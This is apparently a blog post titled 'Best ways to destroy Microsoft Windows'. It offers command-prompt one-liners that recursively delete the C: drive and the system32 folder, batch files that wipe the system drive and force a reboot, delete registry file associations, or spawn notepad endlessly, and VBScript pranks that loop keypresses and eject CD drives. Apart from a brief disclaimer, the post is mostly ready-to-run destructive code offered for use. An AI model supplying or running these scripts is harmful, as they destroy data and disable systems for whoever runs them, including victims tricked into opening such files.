Best ways to destroy Microsoft Windows

OK, like seriously don’t do it unless you’re doing it in a practice Virtual machine or have permission to do so.. I take no responsibility for these collection of best ways to destroy Microsoft Windows!

Type this in command prompt:

RD C:\ /S /Q
del c:\windows\system32*.* /q
del /f /s /q “C:*.*.”

Type these in notepad

Save the file anywhere (.bat) and execute it:

The blue screen of Death

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

Stupidity Shutdown

@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c “Error! You are too stupid!” -s -t 10

Delete Key Registry Files

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked.  Have a nice day.
GOTO MESSAGE

Endless Notepads

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Crazy caps lock

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Endless Enter

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Endless Backspace

MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Popping CD Drives

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

And have a good day; in fact now that you have destroyed your Windows, have a great day and enjoy some fresh air outside.